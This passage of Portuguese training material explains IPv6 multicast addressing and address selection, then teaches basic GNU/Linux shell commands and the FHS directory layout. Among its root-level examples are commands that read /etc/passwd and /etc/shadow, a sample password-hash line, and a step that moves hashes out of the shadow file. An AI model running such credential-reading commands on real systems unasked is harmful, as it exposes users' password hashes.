compõe o grupo.
No IPv4, o suporte a multicast é opcional, já que foi introduzido apenas como uma
extensão ao protocolo. Entretanto, no IPv6 é requerido que todos os nós suportem
multicast, visto que muitas funcionalidades da nova versão do protocolo IP utilizam
esse tipo de endereço. Seu funcionamento é similar ao do broadcast, dado que um
único pacote é enviado a vários hosts, diferenciando-se apenas pelo fato de que
no broadcast o pacote é enviado a todos os hosts da rede, sem exceção, enquanto
que no multicast apenas um grupo de hosts receberá esse pacote. Deste modo, a
possibilidade de transportar apenas uma cópia dos dados a todos os elementos do
grupo, a partir de uma árvore de distribuição, pode reduzir a utilização de recurso
de uma rede, bem como otimizar a entrega de dados aos hosts receptores. Apli-
cações como videoconferência, distribuição de vídeo sob demanda, atualizações de
softwares e jogos on-line, são exemplos de serviços que vêm ganhando notoriedade
e podem utilizar as vantagens apresentadas pelo multicast. Os endereços multicast

não devem ser utilizados como endereço de origem de um pacote. Esses endereços
derivam do bloco FF00::/8, onde o prefixo FF, que identifica um endereço multicast,
é precedido por quatro bits, que representam quatro flags, e um valor de quatro bits
que define o escopo do grupo multicast. Os 112 bits restantes são utilizados para
identificar o grupo multicast.
As flags são definidas da seguinte forma:
O primeiro bit mais a esquerda é reservado e deve ser marcado com 0;
• Flag R: Se o valor for 1, indica que o endereço multicast “carrega” o endereço

de um Ponto de Encontro (Rendezvous Point). Se o valor for 0, indica que não
há um endereço de Ponto de Encontro embutido;
• Flag P: Se o valor for 1, indica que o endereço multicast é baseado em um

prefixo de rede. Se o valor for 0, indica que o endereço não é baseado em um
prefixo de rede;
• Flag T: Se o valor for 0, indica que o endereço multicast é permanente, ou seja,

é atribuído pela IANA. Se o valor for 1, indica que o endereço multicast não é
permanente, ou seja, é atribuído dinamicamente.
Os quatro bits que representam o escopo do endereço multicast, são utilizados para
delimitar a área de abrangência de um grupo multicast. Os valores atribuídos a esse
campo são o seguinte:
• 1 – abrange apenas a interface local;
• 2 – abrange os nós de um enlace;
• 3 – abrange os nós de uma sub-rede
• 4 – abrange a menor área que pode ser configurada manualmente;
• 5 – abrange os nós de um site;
• 8 – abrange vários sites de uma mesma organização;
• E – abrange toda a Internet;
• 0, F – reservados;
• 6, 7, 9, A, B, C, D – não estão alocados.

Deste modo, um roteador ligado ao backbone da Internet não encaminhará pacotes

com escopo menor do que 14 (E em hexa), por exemplo. No IPv4, o escopo de um
grupo multicast é especificado através do campo TTL do cabeçalho. A lista abaixo
apresenta alguns endereços multicast permanentes:
O endereço multicast solicited-node identifica um grupo multicast que todos os nós

passam a fazer parte assim que um endereço unicast ou anycast lhes é atribuído. Um
endereço solicited-node é formado agregando-se ao prefixo FF02::1:FF00:0000/104
os 24 bits mais a direita do identificador da interface, e para cada endereço unicast
ou anycast do nó, existe um endereço multicast solicited- node correspondente.
Em redes IPv6, o endereço solicited-node é utilizado pelo protocolo de Descoberta de

Vizinhança para resolver o endereço MAC de uma interface. Para isso, envia-se uma
mensagem Neighbor Solicitation para o endereço solicited-node. Com isso, apenas
as interfaces registradas neste grupo examinam o pacote. Em uma rede IPv4, para
se determinar o endereço MAC de uma interface, envia- se uma mensagem ARP
Request para o endereço broadcast da camada de enlace, de modo que todas as
interfaces do enlace examinam a mensagem.
Com o intuito de reduzir o número de protocolos necessários para a alocação de

endereços multicast, foi definido um formato estendido de endereço multicast, que

permite a alocação de endereços baseados em prefixos unicast e de endereços SSM

(source-specific multicast).
Em endereços baseados no prefixo da rede, a flag P é marcada com o valor 1. Neste

caso, o uso do campo escopo não altera, porém, o escopo deste endereço multicast
não deve exceder o escopo do prefixo unicast “carregado” junto a ele. Os 8 bits após
o campo escopo, são reservados e devem ser marcados com zeros. Na sequência,
há 8 bits que especificam o tamanho do prefixo da rede indicado nos 64 bits que os
seguem. Caso o prefixo da rede seja menor que 64 bits, os bits não utilizados no
campo tamanho do prefixo, devem ser marcados com zeros. O campo identificador
do grupo utiliza os 32 bits restantes. Note que, em um endereço onde a flag P é
marcada com o valor 1, a flag T também deve ser marcada com o valor 1, pois este
não representa um endereço definido pela IANA.
No modelo tradicional de multicast, chamado de any-source multicast (ASN), o par-

ticipante de um grupo multicast não controla de que fonte deseja receber os dados.
Com o SSM, uma interface pode registrar-se em um grupo multicast e especificar
as fontes de dados. O SSM pode ser implementado utilizando o protocolo MLDv2
(Multicast Listener Discovery version 2).
Para um endereço SSM, as flags P e T são marcadas com o valor 1. Os campos

tamanho do prefixo e o prefixo da rede são marcados com zeros, chegando ao prefixo
FF3X::/32, onde X é o valor do escopo. O campo Endereço de Origem do cabeçalho
IPv6 identifica o dono do endereço multicast.
Todo endereço SSM tem o formato FF3X::/96.
Os métodos de gerenciamento dos grupos multicast serão abordados no próximo

módulo deste curso.
Também é importante destacar algumas características relacionadas ao endereço

apresentadas pela nova arquitetura do protocolo IPv6. Assim como no IPv4, os en-
dereços IPv6 são atribuídos às interfaces físicas, e não aos nós, de modo que cada
interface precisa de pelo menos um endereço unicast. No entanto, é possível atribuir
a uma única interface múltiplos endereços IPv6, independentemente do tipo (unicast,
multicast ou anycast) ou sub-tipo (loopback, link local, 6to4, etc.). Deste modo um nó
pode ser identificado através de qualquer endereço das suas interfaces, e com isso,
torna-se necessário escolher entre seus múltiplos endereços qual utilizará como en-
dereço de origem e destino ao estabelecer uma conexão.
Para resolver esta questão, foram definidos dois algoritmos, um para selecionar o
endereço de origem e outro para o de destino. Esses algoritmos, que devem ser
implementados por todos os nós IPv6, especificam o comportamento padrão desse
nós, porém não substituem as escolhas feitas por aplicativos ou protocolos da ca-

mada superior.
Entre as regras mais importantes destacam-se:
• Pares de endereços do mesmo escopo ou tipo têm preferência;
• O menor escopo para endereço de destino tem preferência (utiliza-se o menor

escopo possível);
• Endereços cujo tempo de vida não expirou tem preferência sobre endereços
com tempo de vida expirado;
• Endereços de técnicas de transição (ISATAP, 6to4, etc.) não podem ser utiliza-
dos se um endereço IPv6 nativo estiver disponível;
• Se todos os critérios forem similares, pares de endereços com o maior prefixo

comum terão preferência;
• Para endereços de origem, endereços globais terão preferência sobre endere-

ços temporários;
• Em um Nó Móvel, o Endereço de Origem tem preferência sobre um Endereço

Remoto.
Estas regras devem ser utilizadas quando não houver nenhuma outra especificação.
As especificações também permitem a configuração de políticas que possam subs-
tituir esses padrões de preferências com combinações entre endereços de origem e
destino.

2 Aprendendo GNU/Linux
2.1 Comandos e Shell
Comandos são instruções passadas ao computador para executar uma determinada

tarefa. No mundo *NIX (GNU/Linux,Unix), o conceito de comandos é diferente do
padrão MS-DOS. Um comando é qualquer arquivo executável, que pode ser ou não
criado pelo usuário.
Uma das tantas vantagens do GNU/Linux é a variedade de comandos que ele ofe-
rece, afinal, para quem conhece comandos, a administração do sistema acaba se
tornando um processo mais rápido.
O “Shell” é o responsável pela interação entre o usuário e o sistema operacional,

interpretando os comandos.
É no “Shell” que os comandos são executados.
2.1.1 O comando ls
O comando “ls” possui muitos parâmetros, veremos aqui as opções mais utilizadas. A
primeira delas é o “-l” que lista os arquivos ou diretórios de uma forma bem detalhada
(quem criou, data de criação, tamanho, dono e grupo ao qual cada um pertence):
1 # ls -l /
2 drwxr -xr - x 4 root root 1024 2007 -01 -15 23:17 boot
Veja que a saída desse comando é bem detalhada. Falando sobre os campos, para
o primeiro caractere temos algumas opções:
Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux
1 d => indica que se trata de um diret ó rio

2 l => indica que se trata de um " link " ( como se fosse um atalho -
tamb ém vamos falar sobre ele depois )
3 - => hí fen , indica que se trata de um arquivo regular
4 c => indica que o arquivo é um dispositivo de caractere ( sem buffer )
5 b => indica que o arquivo é um dispositivo de bloco ( com buffer )
6 u => " sin ô nimo para o tipo c " indica que o arquivo é um dispositivo
de caractere ( sem buffer )
7 s => indica que o arquivo é um socket
8 p => indica que o arquivo é um fifo , named pipe
FIFO - Sigla para First In, First Out, que em inglês significa primeiro a entrar, pri-
meiro a sair. São amplamente utilizados para implementar filas de espera. Os ele-
mentos vão sendo colocados no final da fila e retirados por ordem de chegada. Pipes
(|) são um exemplo de implementação de FIFO.
Buffer - É uma região de memória temporária, usada para escrita e leitura de dados.
Normalmente, os buffers são utilizados quando existe uma diferença entre a taxa em
que os dados são recebidos e a taxa em que eles podem ser processados.
Socket - É um meio de comunicação por software entre um computador e outro. É

uma combinação de um endereço IP, um protocolo e um número de porta do proto-
colo.
O campo “rwxr-xr-x” lista as permissões, enquanto os campos “root” indicam quem

é o usuário e grupo dono desse diretório que, no nosso caso, é o administrador do
sistema, o usuário “root”. O número antes do dono indica o número de “hard links”,
um assunto abordado apenas em cursos mais avançados.
O campo “1024” indica o tamanho do arquivo, e o campo “2007-01-15 23:17” informa

a data e hora em que o diretório foi criado. Finalmente, no último campo temos o
nome do arquivo ou diretório listado, que, no nosso exemplo, é o “boot”.
Com relação aos diretórios, é importante ressaltar que o tamanho mostrado não
corresponde ao espaço ocupado pelo diretório e seus arquivos e subdiretórios. Esse
espaço é aquele ocupado pela entrada no sistema de arquivos que corresponde ao
diretório.
A opção “-a” lista todos arquivos, inclusive os ocultos:
1
2 # ls -a / root
3 .. aptitude . bashrc . profile . rnd . ssh . vmware

4 .. . bash_history . kde . qt root_161206 . viminfo . Xauthority
Veja que, da saída do comando anterior, alguns arquivos são iniciados por “.” (ponto).
Esses arquivos são ocultos. No Linux, arquivos e diretórios ocultos são iniciados
por um “.” (ponto). Listar arquivos de forma recursiva, ou seja, listar também os
subdiretórios que estão dentro do diretório ”/”:
1 # ls -R /
Como listar os arquivos que terminam com a palavra “.conf” dentro do diretório
“/etc”?
1 # ls / etc /*. conf
Como buscar no diretório raiz ”/ “ todos os diretórios que terminem com a letra “n”?
1 # ls -ld /* n
2.1.2 Criação, movimentação, cópia e remoção de arquivos e

diretórios
2.1.2.1 Criar arquivo
Para criar um arquivo, podemos simplesmente abrir um editor de texto e salvá-lo.

Mas existem outras formas. Uma das formas mais simples é usando o comando
“touch”:
1 # cd ~
2 # touch arq1
3 # touch arq2 arq3 arq4 arq5

2.1.2.2 Curingas
O significado da palavra curinga no dicionário é o seguinte: carta de baralho, que

em certos jogos, muda de valor e colocação na sequência. No sistema GNU/Linux é
bem parecida a utilização desse recurso. Os curingas são utilizados para especificar
um ou mais arquivos ou diretórios.
Eles podem substituir uma palavra completa ou somente uma letra, seja para listar,
copiar, apagar, etc. São usados cinco tipos de curingas no GNU/Linux:
1 * - Utilizado para um nome completo ou restante de um arquivo / diret ó

rio ;
2 ? - Esse curinga pode substituir uma ou mais letras em determinada
posi çã o ;
3 ! - exclui da opera ç ã o
4 [ padr ão] - É utilizado para refer ê ncia a uma faixa de caracteres de
um arquivo / diret ó rio .
5 [a -z ][0 -9] - Usado para trabalhar com caracteres de a at é z seguidos
de um caractere de 0 at é 9.
6 [a ,z ][1 ,0] - Usado para trabalhar com os caracteres a e z seguidos
de um caractere 1 ou 0 naquela posi ç ã o .
7 [a -z ,1 ,0] - Faz refer ê ncia do intervalo de caracteres de a at é z ou
1 ou 0 naquela posi ç ã o .
8 [^ abc ] - Faz refer ê ncia a qualquer caracter exceto a , b e c .
9 { padr ão} - Expande e gera strings para pesquisa de padr õ es de um
arquivo / diret ó rio .
10 X{ab ,01} - Faz refer ê ncia a sequ ê ncia de caracteres Xab ou X01 .
11 X{a -e ,10} - Faz refer ê ncia a sequ ê ncia de caracteres Xa Xb Xc Xd Xe
X10
DICA: - A barra invertida serve para escapar um caracter especial, ela é co-
nhecida também como “backslash”.
A diferença do método de expansão dos demais, é que a existência do arquivo ou

diretório é opcional para resultado final. Isto é útil para a criação de diretórios.
Os 5 tipos de curingas mais utilizados ( *, ?, [ ], , ! ) podem ser usados juntos.

Vejamos alguns exemplos:
Vamos criar 5 arquivos no diretório “/home/aluno” utilizando o método de expansão.

1 # cd ~
2 # touch arq {1 ,2 ,3}. txt arq {4 ,5}. new
Podemos listá-los assim:
1 # ls
2 arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 .
new
Vamos listar todos os arquivos do diretório “/home/usuário”. Podemos usar o curinga

“*” para visualizar todos os arquivos do diretório:
1 # ls *
2 arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 .
new
Para listarmos todos os arquivos do diretório “/home/usuário” que tenham “new” no

nome:
1 # ls * new *
2 arq4 . new arq5 . new
Listar todos os arquivos que começam com qualquer nome e terminam com “.txt”:
1 # ls *. txt
2 arq1 . txt arq2 . txt arq3 . txt
Listar todos os arquivos que começam com o nome “arq”, tenham qualquer caractere
no lugar do curinga, e terminem com “.txt”:
1 # ls arq ?. txt

Para listar todos os arquivos que começam com o nome “arq”, tenham qualquer ca-
ractere entre o número “1-3” no lugar da 4ª letra e terminem com “.txt”. Neste caso,
se obtém uma filtragem mais exata, pois o curinga especifica qualquer caractere na-
quela posição e ”[ ]” especifica um intervalo de números ou letras que será usado:
1 # ls arq [1 -3]. txt

Para listar todos .txt exceto o arq2.txt:
1 # ls arq [!2]. txt

2 arq1 . txt arq3 . tx
Para listar os arquivos “arq4.new” e “arq5.new” podemos usar os seguintes méto-

dos:
1 # ls *. new
2 # ls * new *
3 # ls arq ?. new
4 # ls arq [4 ,5].*
5 # ls arq [4 ,5]. new
Existem muitas outras sintaxes possíveis para obter o mesmo resultado. A mais indi-
cada será sempre aquela que atender à necessidade com o menor esforço possível.
A criatividade nesse momento conta muito. No exemplo anterior, a última forma re-
sulta na busca mais específica. O que pretendemos é mostrar como visualizar mais
de um arquivo de uma só vez. O uso de curingas é muito útil e pode ser utilizado em
todas as ações do sistema operacional referentes aos arquivos e diretórios: copiar ,
apagar, mover e renomear.
2.1.2.3 Criando diretórios
O comando “mkdir” é utilizado para criar um diretório no sistema. Um diretório é

uma pasta onde você guarda seus arquivos. Exemplo:
Criar o diretório “aula”:

1 # mkdir aula
Criar o diretório “turma” e o subdiretório “alunos”:
1 # mkdir -p turma / alunos
A opção “-p” permite a criação de diretórios de forma recursiva. Para que um sub-
diretório exista, o seu diretório diretamente superior tem que existir. Portanto a cri-
ação de uma estrutura como “/home/notas/2010/abril/semana3” exigiria a execução
de quatro comandos “mkdir”.
Algo como:
1 # mkdir notas
2 # mkdir notas / abril
3 # mkdir notas / abril / bimestre
4 # mkdir notas / abril / bimestre / prova
A opção “-p” permite que toda essa estrutura seja criada em uma única linha. As-
sim:
1 # mkdir -p notas / maio / bimestre / prova
2.1.2.4 Removendo arquivos/diretórios
O comando “rm” é utilizado para apagar arquivos, diretórios e subdiretórios estejam

eles vazios ou não.
Exemplos:
Remover os arquivos com extensão “txt”:
1 # cd ~
2 # ls

3 # rm arq ?. txt
4 # ls
Remover o arquivo “arq4.new” pedindo confirmação:
1 # rm -i arq4 . new
2 rm : remover arquivo comum vazio ‘ arq . new4 ’?
A opção “-i” força a confirmação para remover o arquivo “arq4.new”.
Remover o diretório “notas”:
1 # rm -r notas
A opção “-r ” ou “-R” indica recursividade, ou seja, a remoção deverá ser do diretório
notas e de todo o seu conteúdo.
Observação: Muita atenção ao usar o comando “rm”! Uma vez que os arquivos
e diretórios removidos não podem mais ser recuperados!
O comando “rmdir” é utilizado para remover diretórios vazios.
Exemplos:
Remover o diretório “aula”:
1 # rmdir aula
2.1.2.5 Copiar arquivos/diretórios
O comando “cp” serve para fazer cópias de arquivos e diretórios. Perceba que para
lidar com diretórios a opção “-r” ou “-R” tem que ser usada:

1 # cp arquivo - origem arquivo - destino

2
3 # cp arquivo - origem caminho / diret ó rio - destino /
4
5 # cp -R diret ó rio - origem nome - destino
6
7 # cp -R diret ó rio - origem caminho / diret ó rio - destino /
Uma opção do comando “cp” muito útil em nosso dia-a-dia é a opção “-p”, que faz
com que a cópia mantenha os “meta-dados” dos arquivos, ou seja, não modifica a
data e hora de criação, seus donos e nem suas permissões. Utilizar como root:
1 # su aluno
2 $ touch teste
3 $ ls -l
4 $ exit
5 # cp -p teste teste2
6 # cp teste teste3
7 # ls -l teste2 teste3
2.1.2.6 Mover ou renomear arquivos/diretórios
O comando “mv” serve tanto para renomear um arquivo quanto para movê-lo:
1 # mv arquivo caminho / diret ó rio - destino /

2 # mv arquivo novo - nome
3 # mv diret ó rio novo - nome
4 # mv diret ó rio caminho / diret ó rio - destino /
A movimentação de um arquivo é uma ação de cópia seguida de uma remoção.
Movendo arquivo:
1 # mv teste4 / tmp
Renomeando arquivo:

1 # mv teste teste4
Renomeando diretório:
1 # mv turma matematica
Movendo diretório:
1 # mv matematica / home / notas /2010/ abril / semana3
2.2 FHS, Hierarquia dos Diretórios
Quem já teve algum contato com o GNU/Linux, mesmo que superficial, deve ter
percebido a presença de vários diretórios (pastas) no sistema. Entretanto, eles estão
organizados seguindo o padrão “POSIX”, com o qual você pode não estar muito
familiarizado. Neste capítulo, vamos conhecer a organização, e explorar a estrutura
de diretórios de um sistema GNU/Linux.
Desde que o GNU/Linux foi criado, muito se tem feito para seguir um padrão em
relação à estrutura de diretórios. O primeiro esforço para padronização de sistemas
de arquivos para o GNU/Linux foi o “FSSTND - Filesystem Standard”, lançado no
ano de 1994.
Cada diretório do sistema tem seus respectivos arquivos que são armazenados con-
forme regras definidas pela “FHS - Filesystem Hierarchy Standard” ou “Hierar-
quia Padrão do Sistema de Arquivos”, que define que tipo de arquivo deve ser
guardado em cada diretório. Isso é muito importante, pois o padrão ajuda a manter
compatibilidade entre as distribuições existentes no mercado, permitindo que qual-
quer software escrito para o GNU/Linux seja executado em qualquer distribuição de-
senvolvida de acordo com os padrões “FHS”.
Atualmente, o ”FHS” está na sua versão 2.3, e é mantido pelo “Free Standard Group",
uma organização sem fins lucrativos formada por grandes empresas como HP, IBM,
RedHat e Dell.

2.3 Estrutura de Diretórios GNU/Linux
A estrutura de diretórios também é conhecida como “Árvore de Diretórios” porque

tem a forma de uma árvore. Mas, antes de estudarmos a estrutura de diretórios,
temos que entender o que são diretórios.
Um diretório é o local onde os arquivos são guardados no sistema. O objetivo é

organizar os diferentes arquivos e programas. Pense nos diretórios como sendo as
gavetas de um armário. Cada gaveta guarda, normalmente, um tipo diferente de
roupa, enquanto cada diretório guarda um certo tipo específico de arquivo.
O arquivo pode ser um texto, uma imagem, planilha, etc. Os arquivos devem ser
identificados por nomes para que sejam localizados por quem deseja utilizá-los.
Um detalhe importante a ser observado é que o GNU/Linux segue o padrão “PO-

SIX” que é “case sensitive”, isto é, ele diferencia letras maiúsculas e minúsculas nos
arquivos e diretórios.
Sendo assim, um arquivo chamado “Arquivo” é diferente de um outro chamado

“ARQUIVO” e diferente de um terceiro, chamado “arquivo”. Inteligente isso, não
é?
A árvore de diretórios do GNU/Linux tem a seguinte estrutura:
Da estrutura mostrada acima, o “FHS” determina que um sistema GNU/Linux deve

conter obrigatoriamente 14 diretórios, especificados a seguir:
2.3.1 Diretório /
1 # ls -- color /
A opção –color do comando ls serve para deixar colorido a listagem, ex: azul -> dire-
tório branco -> arquivo regular verde -> arquivo executável azul claro -> link simbólico

vermelho -> arquivo compactado rosa -> imagem
Este é o principal diretório do GNU/Linux, e é representado por uma “/” (barra). É

no diretório raiz que ficam todos os demais diretórios do sistema. Estes diretórios,
que vamos conhecer agora, são chamados de “subdiretórios” pois estão dentro do
diretório “/”.
2.3.2 DIRETÓRIO /bin
1 # ls / bin
O diretório “/bin” guarda os comandos essenciais para o funcionamento do sis-

tema.
Esse é um diretório público, sendo assim, os comandos que estão nele podem ser
utilizados por qualquer usuário do sistema. Entre os comandos, estão:
• /bin/ls;
• /bin/cp;
• /bin/mkdir;
• /bin/cat;
Qualquer usuário pode executar estes comandos:
1 # / bin / ls / boot / grub

2 $ / bin / ls / boot / grub
2.3.3 Diretório /boot
1 # ls / boot

No diretório “/boot” estão os arquivos estáticos necessários à inicialização do sis-

tema, e o gerenciador de “boot”. O gerenciador de “boot” é um programa que permite
escolher e carregar o sistema operacional que será iniciado.
2.3.4 Diretório /dev
1 # ls / dev
No diretório “/dev” ficam todos os arquivos de dispositivos. O GNU/Linux faz a co-

municação com os periféricos por meio de “links” especiais que ficam armazenados
nesse diretório, facilitando assim o acesso aos mesmos.
Para verificar que seu mouse é reconhecido como um arquivo, tente olhar o conteúdo
do arquivo /dev/input/mice:
1 # cat / dev / input / mice
Repare que os dados são binários e não é possível ler o arquivo com o comando cat.
Caso seu terminal fique com caracteres estranhos utilize o comando “reset” para
resetar o shell:
1 # reset
Para visualizar o conteúdo do arquivo /dev/input/mice execute o comando “od” que é

utilizado para visualizar o conteúdo de um arquivo nos formatos: hexadecimal, octal,
ASCII e nome dos caracteres. Este comando pode ser útil para um programador que
deseja criar um programa conforme o movimento do mouse.
1 # od / dev / input / mice
Caso seu mouse não seja usb, execute:
1 # od / dev / psaux

Mova o mouse e observe sua saída.
Observe o conteúdo do seu HD:
1 # hexdump / dev / sda
O comando hexdump é utilizado para visualizar o conteúdo de um arquivo nos for-

matos: hexadecimal, octal, decimal, ASCII. Este comando pode ser útil para um
programador que deseja criar um programa conforme o movimento do mouse.
2.3.5 Diretório /etc
1 # ls / etc
No diretório “/etc” estão os arquivos de configuração do sistema. Nesse diretório

vamos encontrar vários arquivos de configuração, tais como: “scripts” de inicialização
do sistema, tabela do sistema de arquivos, configuração padrão para “logins” dos
usuários, etc.
1 # cat / etc / passwd
Vamos pegar uma linha de exemplo:
1 aluno :x :1000:1000: aluno :/ home / aluno :/ bin / bash
Vamos dividir esta linha em “campos”, onde cada campo é separado por : (dois
pontos), então:

Vamos conhecer o arquivo /etc/shadow:
1 # more / etc / shadow
O comando more assim como o cat serve para ver o conteúdo de um arquivo que é,
geralmente, texto. A diferença entre o “more” e o “cat” é que o “more” faz uma pausa
a cada tela cheia exibindo uma mensagem --More–", dando uma oportunidade ao
usuário ler a tela.
Aperte enter para ir para a próxima linha ou espaço para ir para a próxima página e
para sair digite q.
Uma alternativa ao uso do comando more seria o uso do comando less, que imple-
menta as mesmas funcionalidades que more e mais algumas, como a possibilidade
de rolar a tela para cima e para o lado quando o texto ocupa mais de oitenta colunas.
A utilização dos comandos less e more se faz de maneira semelhante.
1 # less / etc / shadow
Vamos pegar uma linha de exemplo:
1 aluno : $1$Tcnt$Eisi0J9Wh3fCEsz1 :11983:0:99999:7:::
Este arquivo possui as senhas criptografadas dos usuários do sistema. Existe uma
entada no arquivo para cada usuário do sistema com os seguintes campos:

Apenas o usuário root (administrador do sistema) tem permissão para acessar o

arquivo /etc/shadow.
O comando “pwconv” é usado para criar o arquivo shadow a partir do arquivo /etc/-
passwd , enquanto o comando “pwunconv” executa a operação inversa. Execute:
1 # pwunconv
Verifique que não existe mais o arquivo /etc/shadow:
1 # cat / etc / shadow
Verifique que as senhas criptografadas estão agora no arquivo /etc/passwd através

do comando getent:
1 # getent passwd
O comando getent obtém dados da base base administrativa do sistema, seguindo

a ordem de busca que está no arquivo /etc/nsswitch.conf:

1 # cat / etc / nsswitch . conf

2 # / etc / nsswitch . conf
3 #
4 #
Example configuration of GNU Name Service Switch functionality .
5 #
If you have the ‘ glibc - doc - reference ’ and ‘ info ’ packages
installed , try :
6 # ‘ info libc " Name Service Switch " ’ for information about this file .
7
8 passwd : compat
9 group : compat
10 shadow : compat
11
12 hosts : files mdns4_minimal [ NOTFOUND = return ] dns mdns4
13 networks : files
14
15 protocols : db files
16 services : db files
17 ethers : db files
18 rpc : db files
19
20 netgroup : nis
Observe a linha do passwd, o “compat” significa compatibilidade com o sistema, ou

seja, o arquivo /etc/passwd, mas os usuários e as senhas poderiam estar armazena-
dos em uma outra localidade, por exemplo em um servidor LDAP e se você apenas
executasse um “cat /etc/passwd”, não veria todos os usuários do sistema, então
sempre utilize o “getent passwd” porque não importa onde os dados estão arma-
zenados ele sempre seguirá a ordem de busca do arquivo /etc/nsswitch.conf.
Para voltar as senhas criptografadas, execute:
1 # pwconv
Agora as senhas estão protegidas novamente!! Antigamente estes comandos eram

utilizados para sistemas que não vinham com as senhas protegidas no /etc/shadow
por padrão, hoje em dia praticamente todas as distribuições trazem o arquivo como
padrão, então utilizamos o comando para execução de scripts para facilitar a captura
de senhas, como por exemplo a migração de um servidor de e-mail, onde queremos
manter a senha antiga do usuário.

2.3.6 Diretório /lib
1 # ls / lib
No diretório “/lib” estão as bibliotecas compartilhadas e módulos do kernel. As bibli-

otecas são funções que podem ser utilizadas por vários programas.
Cada kernel têm seus próprios módulos, que ficam em: /lib/modules/<versão do ker-
nel>/kernel Separados por tipos em subdiretórios.
Para saber sua versão do kernel execute:
1 # uname -r
Para visualizar os tipos de módulos:
1 # ls / lib / modules / $ ( uname -r ) / kernel
2.3.7 Diretório /media
1 # ls / media
Ponto de montagem para dispositivos removíveis, tais como:
• hd
• cd
• dvd
• disquete
• pendrive
• câmera digital

2.3.8 Diretório /mnt
1 # ls / mnt
Este diretório é utilizado para montagem temporária de sistemas de arquivos, tais

como compartilhamentos de arquivos entre Windows e GNU/Linux, GNU/Linux e
GNU/Linux, etc.
2.3.9 Diretório /opt
1 # ls / opt
Normalmente, é utilizado por programas proprietários ou que não fazem parte ofici-
almente da distribuição.
2.3.10 Diretório /sbin
1 # ls / sbin
O diretório “/sbin” guarda os comandos utilizados para inicializar, reparar, restaurar

e/ou recuperar o sistema. Isso quer dizer que esse diretório também contém coman-
dos essenciais, mas os mesmos são utilizados apenas pelo usuário administrador
“root”. Entre os comandos estão:
• halt
• ifconfig
• init
• iptables

Os usuários comuns não podem executar comandos do /sbin que alterem o sistema,
apenas alguns para visualização.
EX:
Visualizar IP configurado na placa eth0:
• # /sbin/ifconfig eth0
Alterar IP da placa de rede:
• # /sbin/ifconfig eth0 192.168.200.100
Obs.: é necessário passar o caminho completo do comando, pois o diretório /sbin

não consta na lista de diretórios de comandos do usuário comum que é definida na
variável PATH, iremos estudar esta variável durante o curso.
2.3.11 Diretório srv
1 # ls / srv
Diretório para dados de serviços fornecidos pelo sistema, cuja aplicação é de alcance
geral, ou seja, os dados não são específicos de um usuário. Por exemplo:
• /srv/www (servidor web)
• /srv/ftp (servidor ftp)
2.3.12 Diretório /tmp
1 # ls / tmp
Diretório para armazenamento de arquivos temporários. É utilizado principalmente

para guardar pequenas informações que precisam estar em algum lugar até que a
operação seja completada, como é o caso de um “download”.

Enquanto não for concluído, o arquivo fica registrado em “/tmp”, e, assim que é
finalizado, é encaminhado para o local correto.
No Debian os dados são perdidos a cada reboot, já no CentOS os dados são manti-
dos durante doze dias após seu último acesso.
Para alterar no Debian:
1 # vim / etc / default / rcS

2 TMPTIME =0
3 SULOGIN = no
4 DELAYLOGIN = no
5 UTC = yes
6 VERBOSE = no
7 FSCKFIX = no
Altere o valor da variável “TMPTIME” para o número de dias que desejar manter os
dados após o seu último acesso.
Para alterar no CentOS:
1 # vim / etc / cron . daily / tmpwatch

2 flags =- umc
3 / usr / sbin / tmpwatch " $flags " -x / tmp /. X11 - unix -x / tmp /. XIM - unix \
4 -x / tmp /. font - unix -x / tmp /. ICE - unix -x / tmp /. Test - unix \
5 -X ’/ tmp / hsperfdata_ * ’ 240 / tmp
6 / usr / sbin / tmpwatch " $flags " 720 / var / tmp
7 for d in / var /{ cache / man , catman }/{ cat ? , X11R6 / cat ? , local / cat ?}; do
8 if [ -d " $d " ]; then
9 / usr / sbin / tmpwatch " $flags " -f 720 " $d "
10 fi
11 done
Altere de 720 horas, para o total de horas que quiser.
2.3.13 Diretório /usr
1 # ls / usr

O diretório “/usr” contém programas que não são essenciais ao sistema e que se-
guem o padrão GNU/Linux, como, por exemplo, navegadores, gerenciadores de ja-
nelas, etc.
2.3.14 Diretório /var
1 # ls / var
O diretório “/var” contém arquivos de dados variáveis. Por padrão, os programas

que geram arquivos de registro para consulta, mais conhecidos como “logs”, ficam
armazenados nesse diretório. Além do ”log”, os arquivos que estão aguardando em
filas, também ficam localizados em “/var/spool”.
Os principais arquivos que se utilizam do diretório “/var” são:
• mensagens de e-mail
• arquivos a serem impressos
1 # ls / var / spool
arquivos de log
1 # ls / var / log
2.3.15 Diretório /proc
1 # ls / proc
O “/proc” é um diretório virtual, mantido pelo kernel, onde encontramos a configu-

ração atual do sistema, dados estatísticos, dispositivos já montados, interrupções,
endereços e estados das portas físicas, dados sobre as redes, etc.

Aqui, temos subdiretórios com o nome que corresponde ao “PID - Process ID” de
cada processo.
Dentro deles, vamos encontrar diversos arquivos texto contendo várias informações
sobre o respectivo processo em execução.
Utilize os paginadores more ou less para visualizá-los:
1 # more / proc / interrupts
Neste arquivo estão as informações das IRQs dos dispositivos.
Os endereços de IRQ são interrupções de hardware, canais que os dispositivos po-

dem utilizar para chamar a atenção do processador.
Na maioria das situações, o sistema operacional simplesmente chaveia entre os apli-

cativos ativos, permitindo que ele utilize o processador durante um determinado es-
paço de tempo e passe a bola para o seguinte. Como o processador trabalha a uma
frequência de clock muito alta, o chaveamento é feito de forma muito rápida, dando
a impressão de que todos realmente estão sendo executados ao mesmo tempo.
Ao ser avisado através de qualquer um destes canaisde IRQ, o processador imedia-

tamente pára qualquer coisa que esteja fazendo e dá atenção ao dispositivo, voltando
ao trabalho logo depois. Cada endereço é uma espécie de campainha, que pode ser
tocada a qualquer momento. Se não fossem pelos endereços de IRQ, o processador
não seria capaz de ler as teclas digitadas no teclado, nem os clicks do mouse, a sua
conexão pararia toda vez que abrisse qualquer programa e assim por diante.
1 # less / proc / dma
É o arquivo que contém a lista do registro ISA direto dos canais em uso da acesso a
memória (DMA).
Os canais de DMA são utilizados apenas por dispositivos de legado (placas ISA, por-
tas paralelas e drives de disquete) para transferir dados diretamente para a memória
RAM, reduzindo desta forma a utilização do processador.
1 # more / proc / ioports

Neste arquivo encontramos informações sobre os endereços das portas I/O (In-
put/Output).
Diferentemente dos endereços de IRQ, os endereços de I/O não são interrupções,

